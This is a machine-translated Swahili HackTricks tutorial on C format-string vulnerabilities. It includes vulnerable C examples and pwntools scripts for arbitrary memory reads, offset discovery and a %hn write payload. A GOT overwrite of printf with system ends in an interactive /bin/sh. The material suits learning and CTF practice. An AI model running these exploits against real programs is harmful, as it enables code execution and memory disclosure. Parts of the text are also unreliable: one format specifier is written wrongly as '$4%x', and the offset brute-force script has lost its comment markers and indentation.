hacktricks/binary-exploitation/format-strings
2024-05-05 22:47:30 +00:00
..
format-strings-arbitrary-read-example.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:47:30 +00:00
format-strings-template.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 03:54:31 +00:00
README.md Translated ['README.md', 'binary-exploitation/format-strings/README.md', 2024-04-15 03:57:59 +00:00

Strings za Muundo

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Taarifa Msingi

Katika C printf ni kazi inayoweza kutumika kwa kusambaza baadhi ya string. Parameter ya kwanza inayotarajiwa na kazi hii ni maandishi ghafi yenye formatters. Parameta zinazofuata zinatarajiwa kuwa thamani za kubadilisha formatters kutoka kwenye maandishi ghafi.

Kazi zingine zenye udhaifu ni sprintf() na fprintf().

Udhaifu unaonekana wakati maandishi ya muasisi yanapotumiwa kama hoja ya kwanza kwa kazi hii. Mshambuliaji ataweza kutengeneza kuingiza maalum kwa kutumia uwezo wa muundo wa string ya printf kusoma na kuandika data yoyote kwenye anwani yoyote (inayoweza kusomwa/kuandikwa). Hivyo kuweza kutekeleza nambari za aina yoyote.

Formatters:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Mifano:

  • Mfano wa hatari:
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Matumizi ya Kawaida:
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Kwa Vipengele Vilivyopotea:
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf inayoweza kudhurika:
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}

Kupata Pointers

Muundo wa %<n>$x, ambapo n ni nambari, inaruhusu kuelekeza printf kuchagua parameter ya n (kutoka kwenye stack). Kwa hivyo, ikiwa unataka kusoma param ya 4 kutoka kwenye stack ukitumia printf unaweza kufanya hivi:

printf("%x %x %x %x")

Na ungesoma kutoka kwa paramu ya kwanza hadi ya nne.

Au unaweza kufanya:

printf("$4%x")

na soma moja kwa moja ya nne.

Gundua kwamba muhalifu anadhibiti parameter ya printf, ambayo kimsingi inamaanisha kwamba mchango wake utakuwa kwenye stack wakati printf inaitwa, ambayo inamaanisha kwamba anaweza kuandika anwani maalum za kumbukumbu kwenye stack.

{% hint style="danger" %} Muhalifu anayeidhibiti mchango huu, ataweza kuongeza anwani za kiholela kwenye stack na kufanya printf kuzifikia. Katika sehemu inayofuata itaelezwa jinsi ya kutumia tabia hii. {% endhint %}

Kusoma Kiholela

Inawezekana kutumia mfumo wa %n$s ili kufanya printf ipate anwani iliyoko katika nafasi ya n, ikifuatiwa na kuichapisha kana kwamba ni string (kuichapisha hadi 0x00 inapatikana). Kwa hivyo, ikiwa anwani ya msingi ya binary ni 0x8048000, na tunajua kwamba mchango wa mtumiaji unaanza katika nafasi ya 4 kwenye stack, inawezekana kuchapisha mwanzo wa binary na:

from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

{% hint style="danger" %} Tafadhali kumbuka huwezi kuweka anwani 0x8048000 mwanzoni mwa matokeo kwa sababu string itaishia kwa 0x00 mwishoni mwa anwani hiyo. {% endhint %}

Pata offset

Ili kupata offset ya matokeo yako unaweza kutuma herufi 4 au 8 (0x41414141) ikifuatiwa na %1$x na ongeza thamani mpaka upate A's.

Nguvu ya kufikiria printf offset ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

Iterate over a range of integers

for i in range(10):

Construct a payload that includes the current integer as offset

payload = f"AAAA%{i}$x".encode()

Start a new process of the "chall" binary

p = process("./chall")

Send the payload to the process

p.sendline(payload)

Read and store the output of the process

output = p.clean()

Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output

if b"41414141" in output:

If the string is found, log the success message and break out of the loop

log.success(f"User input is at offset : {i}") break

Close the process

p.close()

</details>

### Umuhimu

Kusoma kwa hiari kunaweza kuwa na manufaa kufanya yafuatayo:

* **Kudumpisha** **binary** kutoka kumbukumbu
* **Kufikia sehemu maalum za kumbukumbu ambapo habari nyeti** **zimehifadhiwa** (kama vile canaries, funguo za kuchipua au nywila za desturi kama katika hii [**changamoto ya CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))

## **Kuandika Kiholela**

Mfumo **`$<num>%n`** **huandika** idadi ya herufi zilizoandikwa kwenye **anwani iliyotajwa** katika parameta ya \<num> kwenye steki. Ikiwa mshambuliaji anaweza kuandika herufi nyingi kama anavyotaka na printf, ataweza kuwezesha **`$<num>%n`** kuandika nambari ya kiholela kwenye anwani ya kiholela.

Bahati nzuri, ili kuandika nambari 9999, si lazima kuongeza "A" 9999 kwenye kuingiza, ili kufanya hivyo ni rahisi kutumia mfumo **`%.<num-andika>%<num>$n`** kuandika nambari **`<num-andika>`** kwenye **anwani inayoelekezwa na nafasi ya `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Hata hivyo, kumbuka kwamba kawaida ili kuandika anwani kama vile 0x08049724 (ambayo ni nambari KUBWA kuandika kwa mara moja), inatumika $hn badala ya $n. Hii inaruhusu kuandika Bayti 2 tu. Kwa hivyo operesheni hii inafanywa mara mbili, mara moja kwa Bayti 2 za juu za anwani na mara nyingine kwa zile za chini.

Hivyo, hitilafu hii inaruhusu kuandika chochote katika anwani yoyote (kuandika kiholela).

Katika mfano huu, lengo litakuwa ni kubadilisha anwani ya kazi katika taarifa ya GOT ambayo itaitwa baadaye. Ingawa hii inaweza kutumika kwa njia nyingine za kutekeleza kuandika kiholela kwa mbinu:

{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}

Tutakuwa tukibadilisha kazi ambayo inapokea vigezo vyake kutoka kwa mtumiaji na kuielekeza kwa kazi ya system.
Kama ilivyotajwa, kuandika anwani, kawaida hatua 2 zinahitajika: Kwanza unahitaji kuandika Bayti 2 za juu za anwani na kisha nyingine 2. Kufanya hivyo, $hn hutumiwa.

  • HOB inaitwa kwa Bayti 2 za juu za anwani
  • LOB inaitwa kwa Bayti 2 za chini za anwani

Kisha, kwa sababu ya jinsi mnyambuliko wa muundo unavyofanya kazi, unahitaji kuandika kwanza ile ndogo kati ya [HOB, LOB] na kisha nyingine.

Ikiwa HOB < LOB
[anwani+2][anwani]%.[HOB-8]x%[kielelezo]\$hn%.[LOB-HOB]x%[kielelezo+1]

Ikiwa HOB > LOB
[anwani+2][anwani]%.[LOB-8]x%[kielelezo+1]\$hn%.[HOB-LOB]x%[kielelezo]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

{% code overflow="wrap" %}

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

{% endcode %}

Kigezo cha Pwntools

Unaweza kupata kigezo cha kuandaa shambulio kwa aina hii ya udhaifu katika:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

Au mfano huu wa msingi kutoka hapa:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Matumizi ya Strings za Umbizo kwa BOF

Inawezekana kutumia vitendo vya kuandika kutoka kwa udhaifu wa stringi ya umbizo kwa kuandika kwenye anwani za steki na kutumia udhaifu wa aina ya kujaza ujazo.

Mifano na Marejeo Mengine